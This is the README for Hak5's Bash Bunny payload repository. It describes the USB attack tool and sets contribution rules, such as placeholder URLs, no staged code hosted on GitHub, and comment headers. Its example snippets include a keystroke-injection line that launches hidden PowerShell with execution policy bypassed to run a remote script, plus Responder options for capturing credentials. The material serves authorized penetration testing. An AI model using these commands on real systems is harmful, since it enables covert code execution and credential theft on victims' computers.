Payload Library for the Bash Bunny by Hak5
This repository contains payloads and extensions for the Hak5 Bash Bunny. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.
Payloads here are written in official DuckyScript™ and Bash specifically for the Bash Bunny. Hak5 does NOT guarantee payload functionality. See Legal and Disclaimers

Linux machine in a USB. By emulating combinations of trusted USB devices — like gigabit Ethernet, serial, flash storage and keyboards — the Bash Bunny tricks computers into divulging data, exfiltrating documents, installing backdoors and many more exploits.
For the sake of convenience, computers trust a number of devices. Flash drives, Ethernet adapters, serial devices and keyboards to name a few. These have become mainstays of modern computing. Each has their own unique attack vectors. When combined? The possibilities are limitless. The Bash Bunny is all of these things, alone – or in combination – and more!
Each attack, or payload, is written in a simple Ducky Script™ language consisting of text files. This repository is home to a growing library of community developed payloads. Staying up to date with all of the latest attacks is just a matter of downloading files from git. Then loading ’em onto the Bash Bunny just as you would any ordinary flash drive.
It's a full featured Linux box that'll run your favorite tools even faster now thanks to the optimized quad-core CPU, desktop-class SSD and doubled RAM. Choose and monitor payloads with the selection switch and RGB LED. Access an unlocked root terminal via dedicated Serial console. Exfiltrate gigs of loot via MicroSD. Even remotely trigger or geofence payloads via Bluetooth.
Take your DuckyScript™ payloads to the next level with this full-featured, web-based (entirely client side) development environment.
Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!
Supports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!

Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution.

Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.
Please include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit.
Subject to change. Please ensure any submissions meet the latest version of these standards before submitting a Pull Request.
Please give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with - or _ used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.
"Staged payloads" are payloads that download code from some resource external to the payload.txt.
While staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is not a CDN for deployment on target systems.
Staged code should be copied to and hosted on an appropriate server for doing so by the end user - Github and this repository are simply resources for sharing code among developers and users. See: GitHub acceptable use policies
Additionally, any source code that is intended to be staged (by the end user on the appropriate infrastructure) should be included in any payload submissions either in the comments of the payload itself or as a seperate file. Links to staged code are unacceptable; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.
URLs used for retrieving staged code should refer exclusively to example.com using a bash variable in any payload submissions see Payload Configuration section below.
Example scenario: your payload downloads a script and the executes it on a target machine.
- Include the script in the directory with your payload
- Provide instructions for the user to move the script to the appropriate hosting service.
- Provide a bash variable with the placeholder example.com for the user to easily configure once they have hosted the script
Simple Example of this style of payload
Be sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained. In many cases, payloads will require some level of configuration by the end payload user.
- Abstract configuration(s) for ease of use. Use bash assignment variables where possible.
- Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...
- URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.
- Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using bash comments at the top of your payload or "inline" where applicable.
Example:
BEGINNING OF PAYLOAD
... Payload Documentation...
# CONFIGURATION
# REQUIRED - Provide URL used for Example
MY_TARGET_URL="example.com"
# OPTIONAL - How long until payload starts; default 5s
BOOT_DELAY="5000"
QUACK DELAY $BOOT_DELAY
...
QUACK STRING $MY_TARGET_URL
...
Payloads should begin with # bash comments specifying the title of the payload, the author, the target, and a brief description.
Example:
BEGINNING OF PAYLOAD
# Title: Example Payload
# Author: Korben Dallas
# Description: Opens hidden powershell and
# Target: Windows 10
# Props: Hak5, Darren Kitchen, Korben
# Version: 1.0
# Category: General
Binaries may not be accepted in this repository. If a binary is used in conjunction with the payload, please document where it or its source may be obtained.
Configurable options should be specified in variables at the top of the payload.txt file
# Options
RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds
The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or ATTACKMODE.
# Initialization
LED SETUP
GET SWITCH_POSITION
GET HOST_IP
# Attack
LED ATTACK
ATTACKMODE HID ECM_ETHERNET
Stages should be documented with comments
# Keystroke Injection Stage
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
GET HOST_IP
LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""
Common payload states include a SETUP, with may include a FAIL if certain conditions are not met. This is typically followed by either a single ATTACK or multiple STAGEs. More complex payloads may include a SPECIAL function to wait until certain conditions are met. Payloads commonly end with a CLEANUP phase, such as moving and deleting files or stopping services. A payload may FINISH when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to LED states.
